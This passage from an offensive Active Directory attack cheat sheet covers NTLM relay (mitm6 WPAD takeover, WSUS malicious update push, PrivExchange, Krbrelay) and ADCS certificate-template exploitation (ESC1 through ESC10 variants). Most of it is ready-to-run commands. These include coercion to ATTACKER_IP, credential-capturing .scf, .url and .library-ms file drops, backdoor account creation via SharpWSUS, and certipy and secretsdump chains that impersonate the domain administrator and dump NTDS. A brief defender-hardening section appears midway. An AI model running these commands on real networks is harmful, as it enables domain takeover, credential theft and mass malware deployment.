After the record exists, target Web Client will resolve http://fakewpad/x to your IP and authenticate because the dotless name fakewpad matches the PlainHostName "Dot Rule". mitm6 chains this implicitly by hijacking DHCPv6 + serving DNS.

#NTLMv1 vs NTLMv2 Relay

Property NTLMv1 NTLMv2
MIC bypass Not needed (remove-mic works natively) Requires CVE-2019-1040 (DropTheMIC) or CVE-2019-1166 (Drop the MIC 2)
Relay to LDAP Direct relay possible Needs --remove-mic flag
Crack to NTLM Submit to crack.sh (DES-based) Offline with hashcat -m 5600
EPA bypass Easier Channel binding may block relay
Hash mode hashcat -m 5500 hashcat -m 5600

CVE-2019-1040 (DropTheMIC) lets you strip the Message Integrity Code from a relayed NTLMv2 auth so the LDAP/SMB target accepts it as if from a different protocol. CVE-2019-1166 (Drop the MIC 2) is the patch bypass - it strips MIC + tampers with the NTLMv2 NEGOTIATE flags to relay even on patched-but-not-fully-fixed DCs. Both are baked into recent ntlmrelayx --remove-mic. Always test both implicitly because some hosts received only one of the two patches.

# Check for NTLMv1 (downgrade)
nxc smb target -u user -p pass -M remove-mic

# Force NTLMv1 via Responder (if LMCompatibilityLevel <= 2 allows)
# Edit /etc/responder/Responder.conf:
#   Challenge = 1122334455667788
#   [HTTP] [SMB] Challenge = 1122334455667788
# This fixed challenge is required for crack.sh rainbow tables.

sudo responder -I eth0 -dwPv --lm
# Captured LM + NTLMv1 with challenge 1122334455667788 -> submit to crack.sh
# crack.sh returns the NT hash within ~12-24h (free tier)
# Combine with ntlmrelayx --remove-mic for NTLMv1 relay to LDAP

#mitm6 (IPv6 DHCPv6 WPAD Takeover)

Most Windows hosts prefer IPv6 and auto-request a DHCPv6 lease. mitm6 acts as a rogue DHCPv6 server, hands out its own IPv6 + DNS, then answers WPAD queries with a fake proxy. Every HTTP request then flows through the attacker's fake WPAD, where Windows auto-authenticates with machine credentials. Relay that to LDAPS for a full domain takeover - no coercion required, no user interaction.

Requirements: L2 adjacency. LDAP signing NOT enforced (LDAPS works even if signing is required).

# 1. Relay to LDAPS on a DC (ntlmrelayx)
sudo ntlmrelayx.py -6 -t ldaps://dc01 -wh fakewpad.domain.local \
  --delegate-access -smb2support
# -wh fakewpad.domain.local = which "WPAD host" IPv6 DNS will point to
# --delegate-access: set RBCD on every relayed machine account
# Alternatives: --escalate-user attacker, --shadow-credentials, --add-computer EVIL

# 2. Start mitm6 (rogue DHCPv6 + DNS)
sudo mitm6 -d domain.local -i eth0
# Workstations pick up an IPv6 lease + attacker as DNS
# Browsers auto-resolve wpad -> attacker -> 401 NTLM -> relay

# 3. Machines authenticate over HTTP, ntlmrelayx turns each into:
#    - new RBCD on every relayed workstation
#    - new attacker-controlled computer account
#    - shadow credentials on every machine
# Then: nxc smb target -u Administrator -H <rbcd-derived-TGT>

# Scope mitm6 to specific hosts (avoid DoS)
sudo mitm6 -d domain.local -i eth0 --host-allowlist victim01.domain.local

#Roast-in-the-Middle (RITM) via krbrelayx

krbrelayx can act as a middle-man between a client and the KDC, requesting arbitrary TGS tickets (kerberoast) on behalf of the victim while they authenticate. Combined with mitm6 + WPAD, this yields Kerberoast hashes for every user whose machine hits the fake proxy - without ever touching the SPN attribute on an account.

# Extract the trust key / machine key you will use for the RITM listener
python3 krbrelayx.py -aesKey <machine_AES256> --krbpass \
  --target-service cifs/victim-server \
  --ritm-user targetuser

# Or chained with mitm6 (IPv6 WPAD variant)
sudo mitm6 -d domain.local
python3 krbrelayx.py -t ldap://dc01 \
  --target-service http --ritm

#NTLM Relay to NETLOGON (dcsync://)

Post-ZeroLogon style: relay a captured machine account auth to the NETLOGON channel of another DC, requesting DCSync directly.

# Requires patched ntlmrelayx with dcsync:// scheme support
ntlmrelayx.py -t dcsync://dc02 -smb2support -auth-smb
# Then coerce a DC with PetitPotam/DFSCoerce/PrinterBug
python3 PetitPotam.py -u user -p pass -d domain \
  ATTACKER_IP dc01
# ntlmrelayx relays DC01$ -> dcsync://dc02 -> dumps NTDS.dit over netlogon

#NTLM Relay to WSUS

WSUS (Windows Server Update Services) ships over HTTP by default. Relaying a machine account into WSUS lets you push a malicious update (signed binaries like PsExec work because of --sigcheck bypass in unsigned WSUS configs) to every client managed by that WSUS server.

# 1. Find WSUS servers (HTTP/8530 or HTTPS/8531)
nxc smb 10.0.0.0/24 -u user -p pass -M wsus

# 2. Relay to WSUS
ntlmrelayx.py -t http://wsus-server:8530/ClientWebService/Client.asmx \
  -smb2support

# 3. Stage a signed binary (PsExec.exe) + SharpWSUS for update push
.\SharpWSUS.exe create /payload:"C:\temp\PsExec.exe" \
  /args:"-accepteula -s -d cmd.exe /c net user hax Pwn! /add" \
  /title:"Security Update KB1337"
.\SharpWSUS.exe approve /updateid:<guid> /computername:target.domain.local \
  /groupname:"All Computers"
# Next time target pings WSUS -> pulls signed update -> RCE as SYSTEM

#LDAP Signing vs Channel Binding Bypass Matrix

LDAP servers can require LDAP signing (integrity) and/or LDAP channel binding (EPA). Each is configured independently per DC. To prevent relay you need BOTH; if either is missing there is a known bypass.

LDAP Signing LDAP Channel Binding Relay Status Bypass
Not required Not required Vulnerable Direct relay to LDAP or LDAPS
Required Not required Vulnerable Relay to LDAPS - TLS satisfies the signing requirement
Not required Required Vulnerable Relay to LDAP with StartTLS - TLS established post-auth, channel binding can't catch it
Required Required Safe (against NTLM) Need NTLMv1 downgrade or Kerberos relay
Server 2025 default (sealing via SASL) Mostly safe Disable LDAP signing explicitly to bring it back

Key facts (from SpecterOps NTLM Renaissance):

  • Settings are per-DC, not domain-wide. Mixed domains often have one weak DC = whole domain vulnerable.
  • Enabling LDAP CLIENT signing does NOT mitigate relay. Relay abuses HTTP Web Clients, not LDAP clients.
  • Server 2025 enforces SASL bind sealing by default, finally killing the easy LDAPS bypass.
  • DCs running Server 2022 or older almost universally still vulnerable.

The StartTLS bypass is the lesser-known one - if a DC requires channel binding but NOT signing, ntlmrelayx can:

  1. Establish a plain LDAP session (no TLS yet, so no channel binding to compute)
  2. Send the relayed NTLM authentication
  3. AFTER auth succeeds, issue a StartTLS to upgrade the connection to encrypted
  4. The DC accepts because at the time of NTLM negotiation there was no TLS channel to bind to
# Detect both settings on every DC
LdapRelayScan.py -dc-ip 10.0.0.5 -u user -p pass
nxc ldap dc01 -u user -p pass -M ldap-checker

# Relay LDAPS (bypasses signing-only-required)
ntlmrelayx.py -t ldaps://dc01 --delegate-access -smb2support

# Relay LDAP with StartTLS (bypasses channel-binding-only-required)
ntlmrelayx.py -t ldap://dc01 --delegate-access -smb2support
# ntlmrelayx auto-issues StartTLS post-auth when needed for password reset etc.

#Post-Relay LDAP Tradecraft on Machine Accounts

A relayed machine account is rarely a privileged principal in AD - but machines are allowed to modify some attributes on themselves. Two abusable writes per Shamir:

Attribute Effect Caveat
msDS-AllowedToActOnBehalfOfOtherIdentity RBCD - take over the host via S4U Single relay sufficient
msDS-KeyCredentialLink Shadow Credentials - PKINIT auth as machine If existing key cred present, must relay TWICE: 1st to delete, 2nd to add
ForcePasswordChange Password reset on machine Only via LDAPS (encrypted channel required)
# RBCD via single relay
ntlmrelayx.py -t ldaps://dc01 --delegate-access -smb2support
# Then S4U:
getST.py -spn cifs/victim.domain.local -impersonate Administrator \
  -dc-ip dc01 'domain.local/YOURPC$:Pass123'

# Shadow Credentials via single relay (no existing key cred)
ntlmrelayx.py -t ldaps://dc01 --shadow-credentials --shadow-target 'VICTIM$' -smb2support

# Shadow Credentials when key cred already present - DELETE then ADD
ntlmrelayx.py -t ldaps://dc01 --shadow-credentials --shadow-target 'VICTIM$' \
  --delete-existing-shadow-creds -smb2support
# Coerce twice (or coerce once with two listeners chained)

#Take Over Port 445 (Nick Powers)

Modern Windows machines are NOT in your VLAN and you do not control DHCP, but you do compromise a domain-joined host. You want to relay coerced auth FROM that host - but port 445 is owned by Windows kernel SMB driver. Nick Powers' technique (2024) lets you bind a userland listener on TCP/445 on a Windows host without loading a kernel driver, without injecting into LSASS, and without rebooting.

# 1. Stop the SMB driver in a way that releases the port without rebooting
# (uses NetServerStop + driver unload primitive)
.\TakeOver445.exe stop

# 2. Bind your own listener on 445 - now ntlmrelayx running locally captures coerced SMB
.\TakeOver445.exe listen -p 445

# 3. Relay tooling on this host (or via SOCKS to your Linux box) processes the inbound
ntlmrelayx.py -t ldaps://dc01 --delegate-access -smb2support

This is the missing piece for on-host pivot relays when you cannot put a Linux box in the same broadcast domain as the victim.

#Krbrelay (cube0x0) - Local Kerberos Relay LPE

Distinct from krbrelayx (Dirk-Jan, Linux-side relay over the network). Krbrelay is a Windows-side local Kerberos relay tool that forces a SYSTEM service on the same host to authenticate to a fake LDAP/SMB endpoint controlled by the attacker, then forwards that auth to a real DC. Used as a building block for KrbRelayUp and standalone for any local Kerberos -> LPE chain.

Requirements: Local low-priv on the host, MachineAccountQuota >= 1, no LDAP signing on the DC (or enroll a cert via ADCS instead).

# Standalone - relay local SYSTEM to LDAP, add a new computer + RBCD
.\Krbrelay.exe -spn ldap/dc01.domain.local -clsid 90F18417-F0F1-484E-9D3C-59DCEEE5DBD8 -rbcd YOURPC$
# Then S4U with the new computer to get SYSTEM as Administrator on yourself
Rubeus.exe s4u /user:YOURPC$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/yourhost /ptt
psexec.exe \\yourhost cmd.exe

# Krbrelay -> certifried alt - relay to ADCS web enrollment for a machine cert
.\Krbrelay.exe -spn http://ca-server/certsrv -clsid <COM_GUID> -adcs MachineTemplate
# Get DC$ certificate -> PKINIT -> NT hash -> DCSync

#NTLMRelay2Self / WebClient Self-Relay

When the WebClient service is running on the local host (or you can start it via nxc -M drop-sc), you can coerce the local machine to authenticate to itself over HTTP, then ntlmrelayx reflects that authentication back to LDAPS for the host's machine account context. Combined with mitm6 or PetitPotam, this is a fileless local privilege escalation primitive.

# 1. Start WebClient on the target (low-priv user can do this)
nxc smb localhost -u user -p pass -M drop-sc

# 2. Relay to LDAPS for shadow credentials on the local machine account
sudo ntlmrelayx.py -t ldaps://dc01 --shadow-credentials --shadow-target 'YOURPC$' -smb2support

# 3. Coerce the local machine to authenticate to attacker-controlled name over HTTP
python3 PetitPotam.py -u low_user -p pass -d domain \
  attacker@80/random localhost
# Or via mitm6 IPv6 fake WPAD if no creds at all

# 4. Result: shadow cred on YOURPC$ -> PKINIT -> machine NT hash -> SYSTEM
certipy auth -pfx yourpc.pfx -dc-ip dc01

#NTLM Relay LDAP -> GPO Modification

Beyond --escalate-user and --delegate-access, modern ntlmrelayx can directly weaponize an LDAP shell by writing a malicious GPO if the relayed account has WriteProperty on a GPO object. Useful when the relayed user is a GPO admin but not a DA.

# Relay to LDAPS, target a writable GPO directly
sudo ntlmrelayx.py -t ldaps://dc01 --interactive -smb2support
# In the LDAP shell:
> add_user_to_group attacker_user "Domain Admins"
> change_password Administrator NewP@ss1
> write_gpo_dacl attacker_user GPO_GUID

# Or via SharpGPOAbuse + a relayed cookie session
ntlmrelayx.py -t ldaps://dc01 --escalate-user attacker -smb2support
SharpGPOAbuse.exe --AddComputerScript --GPOName "Default Domain Policy" \
  --ScriptName evil.bat --ScriptContents "net user hax Pwn /add"

#BloodHound CE NTLM Relay Edges (April 2025+)

BloodHound Community Edition added 4 new edges modeling computer-coercion + NTLM relay paths. They originate from Authenticated Users and lead to a target computer node, encoding all the prerequisites in one queryable edge.

Edge Conditions Effect
CoerceAndRelayNTLMToSMB Target SMB signing not required + at least 1 computer in env has admin to target + no outgoing NTLM restriction C$/ADMIN$ access on target, LSA dump, lateral move
CoerceAndRelayNTLMToADCS Vulnerable EnterpriseCA web enrollment + relay victim can enroll a domain-auth template + no EPA + no outgoing NTLM restriction Cert as victim machine -> PKINIT -> takeover relay victim
CoerceAndRelayNTLMToLDAP DC running Server <=2022 with LDAP signing not required + relay victim has Web Client running OR NTLMv1 enabled + no outgoing NTLM restriction RBCD/Shadow Creds on relay victim
CoerceAndRelayNTLMToLDAPS DC running Server <=2022 with LDAPS available + no channel binding + relay victim has Web Client running + no outgoing NTLM restriction RBCD/Shadow Creds on relay victim, plus password reset (encrypted channel)

Pre-built Cypher queries (BHCE -> Saved Queries -> NTLM Relay Attacks):

// All coerce + NTLM relay edges from any Authenticated User
MATCH p=()-[r:CoerceAndRelayNTLMToSMB|CoerceAndRelayNTLMToADCS|CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS]->()
RETURN p

// ESC8-vulnerable Enterprise CAs
MATCH (c:EnterpriseCA) WHERE c.hasvulnerablendpoint = true RETURN c

// Computers with outgoing NTLM Deny All (good defenders)
MATCH (c:Computer) WHERE c.restrictoutboundntlm = true RETURN c.name

// Computers in Protected Users (cannot be relayed as victim)
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"PROTECTED [email protected]"}) RETURN u.name

// DCs vulnerable to NTLM relay to LDAP
MATCH (dc:Computer)-[:DCFor]->(:Domain) WHERE dc.ldapsigning = false RETURN dc.name
MATCH (dc:Computer)-[:DCFor]->(:Domain) WHERE dc.ldapschannelbinding = false RETURN dc.name

// Computers with WebClient currently running (snapshot at collection time)
MATCH (c:Computer) WHERE c.webclientrunning = true RETURN c.name

// Computers not requiring inbound SMB signing (relay TARGETS)
MATCH (c:Computer) WHERE c.smbsigning = false RETURN c.name

Limitations to be aware of (per Shamir):

  • Edges only model computer-account coercion. User-coercion (.lnk drops, watering holes) is out of scope - so the actual attack surface is larger than what BHCE shows.
  • Edges only model deterministic coercion. Opportunistic relay (waiting for a vuln scanner to auth in) is not edge-modeled.
  • Web Client status is dynamic. A host with Web Client OFF at collection time may have it ON later (especially after a .searchConnector-ms drop).
  • Firewall and network segmentation are not modeled.

#NTLM Outgoing Restrictions and Defender Hardening

The single most effective per-host mitigation against being relayed is outgoing NTLM restriction, set via GPO or registry. SharpHound now collects this attribute and BHCE uses it to suppress relay edges.

:: Block outgoing NTLM to remote servers (per machine)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 2 /f
:: 0=Allow all  1=Audit deny all  2=Deny all (relay-proof)

:: Audit which apps still need NTLM before enforcing
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v AuditReceivingNTLMTraffic /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictReceivingNTLMTraffic /t REG_DWORD /d 0 /f

Other defender measures Shamir recommends:

  • Protected Users group for all admin accounts (prevents NTLM use entirely, no LSA cache).
  • Require SMB signing on every host (default since Server 2025 / Win11 24H2 - DCs already require since 2008).
  • Require LDAP signing AND channel binding on every DC (default partially since Server 2025).
  • Disable Web Client service on all hosts that don't need WebDAV (Set-Service WebClient -StartupType Disabled).
  • Disable NTLMv1 entirely (LmCompatibilityLevel = 5).
  • Disable HTTP enrollment on Enterprise CAs (force HTTPS + EPA, or kill ESC8 with certutil -setreg ca\WebPolicy 1).

#Microsoft NTLM Deprecation Roadmap

Per the SpecterOps whitepaper, Microsoft is rolling out several initiatives to make NTLM obsolete (not removed - disabled by default by 2028, optimistically):

Initiative What it does Status
Local KDC Kerberos for local accounts (no more local NTLM as fallback) Rolling out Win11/Server 2025
IAKERB Every Windows host becomes a Kerberos proxy when no DC line of sight Rolling out
SPN with IP addresses Kerberos works when client connects by IP, not just hostname Available since Server 2016 (opt-in)
Negotiate package fixes MS code switching from hard-coded NTLM SSP to Negotiate (which prefers Kerberos) Ongoing
NTLM disabled by default Final goal Targeted ~2028, will slip

Until then, NTLM relay remains the easiest path to compromise modern AD environments. Bet accordingly.

#File-Drop Poisoning (.lnk / .scf / .url / .searchConnector-ms / .library-ms)

Writing certain special files to any share that users browse forces their Explorer to resolve an icon or thumbnail path. If the path is a UNC to the attacker, Explorer authenticates with Net-NTLMv2 before the user even clicks anything. Gold when you have Write on a share but nothing else.

Requirements: Write on a share that target users browse (home shares, public shares, SYSVOL subfolders with loose ACLs).

# --- slinky (Responder .lnk generator) ---
python3 /usr/share/responder/tools/slinky.py \
  -i ATTACKER_IP -f '@legitdoc'
# Drops a .lnk with an icon path \\ATTACKER\share\i.ico
cp @legitdoc.lnk //share/HR/

# --- .scf Shell Command File (Windows 7-10, killed in 2018 but still works on older) ---
cat > @evil.scf <<'SCF'
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\pwn.ico
[Taskbar]
Command=ToggleDesktop
SCF

# --- .url Internet Shortcut (works on all Windows versions) ---
cat > @evil.url <<'URL'
[InternetShortcut]
URL=http://x
WorkingDirectory=\\ATTACKER_IP\share
IconFile=\\ATTACKER_IP\share\i.ico
IconIndex=1
URL

# --- .searchConnector-ms (WebDAV coercion, survives recent patches) ---
# Forces the Windows Search connector to query a WebDAV share -> NTLM over HTTP
# CRITICAL side effect: starts the Web Client service on the host (enables HTTP coercion later)
nxc smb target -u user -p pass -M drop-sc -o LISTENER=ATTACKER_IP PATH=\\target\share
# Drops @evil.searchConnector-ms referencing the attacker WebDAV

# --- .library-ms (Windows Library file, same Shell handler chain) ---
# Same effect as .searchConnector-ms - browses the parent folder triggers icon resolution
cat > @evil.library-ms <<'LIB'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\ATTACKER_IP\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
LIB
# Drop on share -> any user browsing parent folder auths to ATTACKER_IP

# Start catcher
sudo responder -I eth0 -dwPv
# Or relay
sudo ntlmrelayx.py -tf targets.txt -smb2support

#PrivExchange (CVE-2019-0724)

Pre-patch Exchange server holds WriteDACL on the domain object. Coerce Exchange to authenticate to you via the EWS PushSubscription API, relay to LDAP, and grant yourself DCSync. Still seen on neglected Exchange 2013/2016.

# 1. Start relay to LDAP on DC
sudo ntlmrelayx.py -t ldap://dc01 --escalate-user attacker -smb2support

# 2. Coerce Exchange via EWS
python3 privexchange.py -ah ATTACKER_IP exchange.domain.local \
  -u user -p pass -d domain.local

# 3. DCSync with the escalated user
secretsdump.py domain.local/attacker:'pass'@dc01 -just-dc

#ADCS Exploitation

#ADCS Enumeration

# Certipy - full enumeration with BloodHound output
certipy find -u '[email protected]' -p 'pass' \
  -dc-ip dc01 -vulnerable -enabled
# Outputs: .txt (readable), .json, BloodHound .zip

# NetExec ADCS module
nxc ldap dc01 -u user -p pass -M adcs

# Certify.exe (Windows)
.\Certify.exe find /vulnerable
.\Certify.exe cas       # List Certificate Authorities

# certutil (on any domain-joined machine)
certutil -TCAInfo       # List Enterprise CAs
certutil -template      # List all templates

#ESC1 through ESC15 Reference

ESC Condition Exploit Impact
ESC1 ENROLLEE_SUPPLIES_SUBJECT + enrollment rights certipy req -upn administrator@domain -template Vuln -ca CA DA impersonation
ESC2 Any Purpose EKU or no EKU Request cert, use as enrollment agent with -on-behalf-of Auth as any user
ESC3 Certificate Request Agent EKU certipy req -template Agent then certipy req -on-behalf-of domain\admin -pfx agent.pfx Request certs for any user
ESC4 WriteProperty/WriteDACL on template certipy template -template Vuln -save-old (modify to ESC1) then request DA via template edit
ESC5 Write on CA/PKI AD objects Modify CA object, add to NTAuthCertificates Full PKI compromise
ESC6 CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 certipy req -upn admin@domain -template User -ca CA DA on any template
ESC7a ManageCertificates on CA certipy req -template SubCA (pending), certipy ca -issue-request ID Approve own requests
ESC7b ManageCA on CA certipy ca -add-officer user, enable SAN flag CA control
ESC8 HTTP web enrollment active Relay NTLM to http://CA/certsrv/certfnsh.asp DC cert via relay
ESC9 CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite Shadow creds, spoof UPN, request cert, revert Account mapping bypass
ESC10 StrongCertBindingEnforcement=0 + GenericWrite Same as ESC9, works on any template Impersonate any user
ESC11 RPC enrollment without encryption certipy relay -target rpc://CA -ca CA-NAME DC cert via RPC relay
ESC12 Admin on CA server certipy ca -backup -ca CA-NAME (extract CA key) Golden Certificate
ESC13 OID group link (msDS-OIDToGroupLink) certipy req -template ESC13Tmpl - PAC includes linked group Implicit group membership
ESC14 Write altSecurityIdentities on target Map your cert to target account Certificate mapping override
ESC15 Version 1 template with enrollee flag certipy req --application-policies 'Certificate Request Agent' Enrollment agent from v1 template

#ESC1 - Enrollee Supplies Subject

# Request cert with arbitrary UPN
certipy req -u '[email protected]' -p 'pass' \
  -dc-ip dc01 -ca 'CORP-CA' \
  -template 'VulnerableTemplate' \
  -upn '[email protected]'

# Authenticate - returns NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip dc01

#ESC8 - Relay to Web Enrollment

# Start relay listener
certipy relay -ca 'http://ca-server/certsrv/certfnsh.asp' \
  -template 'DomainController'
# Or with ntlmrelayx
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Coerce DC authentication
python3 PetitPotam.py -u user -p pass ATTACKER_IP DC_IP

# Authenticate with DC certificate
certipy auth -pfx dc.pfx -dc-ip dc01
# DCSync with the DC NT hash
secretsdump.py -hashes :NThash 'domain.local/DC01$@dc01'

#ESC4 - Template ACL Takeover

Principal has one of Owner, FullControl / GenericAll, WriteProperty, WriteOwner, WriteDacl on the certificate template AD object. The primitive is: transform a benign template into an ESC1-vulnerable one, enroll, then optionally restore. The BH sub-edges WritePKIEnrollmentFlag (msPKI-Enrollment-Flag) and WritePKINameFlag (msPKI-Certificate-Name-Flag) are the two individual attributes that unlock ESC1 on an otherwise-safe template.

The 5 flags/attributes the rewrite flips:

Attribute Target value Effect
msPKI-Enrollment-Flag remove CT_FLAG_PEND_ALL_REQUESTS (0x2) Disable Manager Approval
msPKI-RA-Signature 0 No Authorized Signature required
msPKI-Certificate-Name-Flag add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) Enrollee controls SAN
pKIExtendedKeyUsage add Client Auth 1.3.6.1.5.5.7.3.2 Usable for PKINIT
Enroll ACE add Domain Users / self Enrollment right
# Windows - Certify.exe manage-template
Certify.exe manage-template --template VulnTpl --enroll S-1-5-21-...-<your-sid>
Certify.exe manage-template --template VulnTpl --manager-approval       # toggle off
Certify.exe manage-template --template VulnTpl --authorized-signatures 0
Certify.exe manage-template --template VulnTpl --client-auth
Certify.exe manage-template --template VulnTpl --supply-subject
# WriteOwner first, then chain WriteProperty
Certify.exe manage-template --template VulnTpl --owner <SID>
Certify.exe manage-template --template VulnTpl --write-property <SID>
# Linux - Certipy (atomic)
certipy template -u [email protected] -p pass -template VulnTpl -save-old
# Pushes default "ESC1-like" definition (supply subject, client auth, RA sig 0, no approval)
certipy template -u [email protected] -p pass -template VulnTpl

# Then run the ESC1 flow
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTpl -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip dc01

# Restore (cleanup)
certipy template -u attacker -p pass -template VulnTpl -configuration VulnTpl.json

#ESC2 - Any Purpose / No EKU

Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU at all. The resulting cert can be used as an enrollment agent to request certs on behalf of anyone.

# 1. Request a cert using the ESC2-vulnerable template
certipy req -u [email protected] -p 'pass' -dc-ip dc01 \
  -ca 'CORP-CA' -template 'VulnESC2' -out agent

# 2. Use that cert as an enrollment agent to request a cert as Administrator
certipy req -u [email protected] -p 'pass' -dc-ip dc01 \
  -ca 'CORP-CA' -template 'User' \
  -on-behalf-of 'domain\administrator' \
  -pfx agent.pfx

# 3. Authenticate
certipy auth -pfx administrator.pfx -dc-ip dc01

#ESC3 - Certificate Request Agent EKU

Template explicitly has Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) and the low-priv user has enrollment rights.

# 1. Enroll the enrollment agent cert
certipy req -u [email protected] -p 'pass' -dc-ip dc01 \
  -ca 'CORP-CA' -template 'EnrollmentAgent' -out agent

# 2. Use it to request a cert on behalf of Administrator
certipy req -u [email protected] -p 'pass' -dc-ip dc01 \
  -ca 'CORP-CA' -template 'User' \
  -on-behalf-of 'domain\administrator' \
  -pfx agent.pfx

certipy auth -pfx administrator.pfx -dc-ip dc01

#ESC9 / ESC10 - UPN Swap via Shadow Credentials

Both abuse weak / missing certificate mapping (msPKI-Enrollment-Flag CT_FLAG_NO_SECURITY_EXTENSION for ESC9, or StrongCertificateBindingEnforcement=0 registry value on the KDC for ESC10). Given GenericWrite / GenericAll on a victim account, the chain is:

  1. Add a shadow credential to the attacker account (or any account you control).
  2. Rewrite the victim's UPN to administrator (or any target).
  3. Request a certificate as the victim - the cert's SAN UPN maps to the renamed value -> you get a cert for Administrator.
  4. Restore the victim's original UPN.
# 1. Shadow cred on attacker (or use existing creds)
certipy shadow auto -u [email protected] -p pass \
  -account victim -dc-ip dc01

# 2. Swap victim UPN to administrator
certipy account update -u [email protected] -p pass \
  -user victim -upn administrator -dc-ip dc01

# 3. Request cert as victim using the vulnerable template
certipy req -u [email protected] -hashes :<victim_nt> \
  -dc-ip dc01 -ca CORP-CA -template User

# 4. Revert UPN immediately (stealth)
certipy account update -u [email protected] -p pass \
  -user victim -upn [email protected] -dc-ip dc01

# 5. Auth with the cert
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip dc01

#WritePKIEnrollmentFlag / WritePKINameFlag - Narrow ESC4 Primitives

BloodHound splits the broad ESC4 "template takeover" into two atomic primitives that cover the minimum-privilege case where you only have WriteProperty on a single attribute of the template (not full ownership):

  • WritePKIEnrollmentFlag - WriteProperty on msPKI-Enrollment-Flag. Lets you clear CT_FLAG_PEND_ALL_REQUESTS (disables Manager Approval) and CT_FLAG_NO_SECURITY_EXTENSION (removes SID extension = enables ESC9 condition).
  • WritePKINameFlag - WriteProperty on msPKI-Certificate-Name-Flag. Lets you set CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) which enables the ESC1 SAN abuse, or clear CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH to relax subject validation.
# Detect the narrow primitive
Get-DomainObjectAcl -Identity 'CN=VulnTpl,CN=Certificate Templates,CN=Public Key Services,...' \
  -ResolveGUIDs | ? { $_.ObjectAceType -match 'msPKI-Enrollment-Flag|msPKI-Certificate-Name-Flag' }

# Flip just CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT via raw LDAP modify
python3 -c "
from ldap3 import Server,Connection,MODIFY_REPLACE
c=Connection(Server('dc01'),'[email protected]','pass',auto_bind=True)
# msPKI-Certificate-Name-Flag is a 32-bit integer bitmask
c.modify('CN=VulnTpl,CN=Certificate Templates,...',
         {'msPKI-Certificate-Name-Flag':[(MODIFY_REPLACE,[1])]})
print(c.result)
"

# Clear Manager Approval from msPKI-Enrollment-Flag
# Pull current value, XOR off 0x2, write back
certipy template -u attacker -p pass -template VulnTpl -save-old
# Then manually edit the saved JSON and re-push with -configuration

#ESC6a vs ESC6b

Both require the CA EDITF_ATTRIBUTESUBJECTALTNAME2 registry flag set (HKLM policy module EditFlags) + trusted for NT auth. Distinction:

  • ESC6a - user variant. CA embeds mail / UPN-derived SAN from the request attribute. Requires the attacker to enroll a client-auth template with a target UPN. Since May 2022 patch (KB5014754) CAs embed the SID security extension by default, so ESC6 alone usually needs to be paired with ESC9 / ESC16 (disable SID extension) or weak DC binding enforcement (StrongCertificateBindingEnforcement=0/1).
  • ESC6b - computer variant. SAN is taken from the dNSHostName request attribute. Combined with weak binding on DCs this produces the same DC$ impersonation as Certifried.
# Enum - look for "User Specifies SAN: Enabled" on the CA
certipy find -u user -p pass -dc-ip DC -vulnerable -stdout | grep -i 'User Specifies\|EDITF'

# ESC6a + SID extension
certipy req -u [email protected] -p Passw0rd -ca corp-DC-CA -template User \
  -upn [email protected] \
  -sid S-1-5-21-...-500

# Enable the flag yourself if you have ManageCA (DPERSIST3-style backdoor)
certipy ca -ca CORP-CA -u admin -p pass -config EDITF_ATTRIBUTESUBJECTALTNAME2 -enable

#ESC9b / ESC10b - Computer Variant

Where ESC9a / ESC10a swap the victim's userPrincipalName, the b variants swap dNSHostName on a victim computer object. Target is the computer auth template (or any template with SUBJECT_ALT_REQUIRE_DNS). Useful when the only GenericWrite you have is on a computer node (e.g. your attacker-added machine from ms-DS-MachineAccountQuota).

# Prerequisite - control a computer account (via MAQ or GenericAll)
# 1. Clear SPNs that contain the dNSHostName to avoid duplicate SPN failure
certipy account update -u [email protected] -p pass -user 'VICTIM$' -spns ''

# 2. Swap dNSHostName to target (e.g. DC)
certipy account update -u [email protected] -p pass -user 'VICTIM$' -dns dc01.corp.local

# 3. Enroll as VICTIM$ on a vulnerable machine template
certipy req -u '[email protected]' -hashes :<nt> \
  -ca CORP-CA -target ca.corp.local -template Machine

# 4. Restore dNSHostName (OPSEC)
certipy account update -u attacker -p pass -user 'VICTIM$' -dns victim.corp.local

# 5a. ESC9b - PKINIT may fail if strict binding is on; fallback to Schannel
certipy auth -pfx dc01.pfx -dc-ip dc01

# 5b. ESC10b - use LDAP Schannel (no SID extension, weak cert mapping)
certipy auth -pfx dc01.pfx -dc-ip dc01 -ldap-shell
# From LDAP shell: set_rbcd, add_user_to_group Administrators, change_password
# Windows-side ESC9b with Set-DomainObject (PowerView)
Set-DomainObject -Identity VICTIM -Set @{'dNSHostName'='dc01.corp.local'; 'msDS-AdditionalDnsHostName'='dc01.corp.local'}
Certify.exe request /ca:SERVER\CA /template:Machine /machine
Set-DomainObject -Identity VICTIM -Set @{'dNSHostName'='victim.corp.local'}
Rubeus.exe asktgt /user:DC01$ /certificate:<base64> /ptt

#ESC15 - EKUwu (CVE-2024-49019)

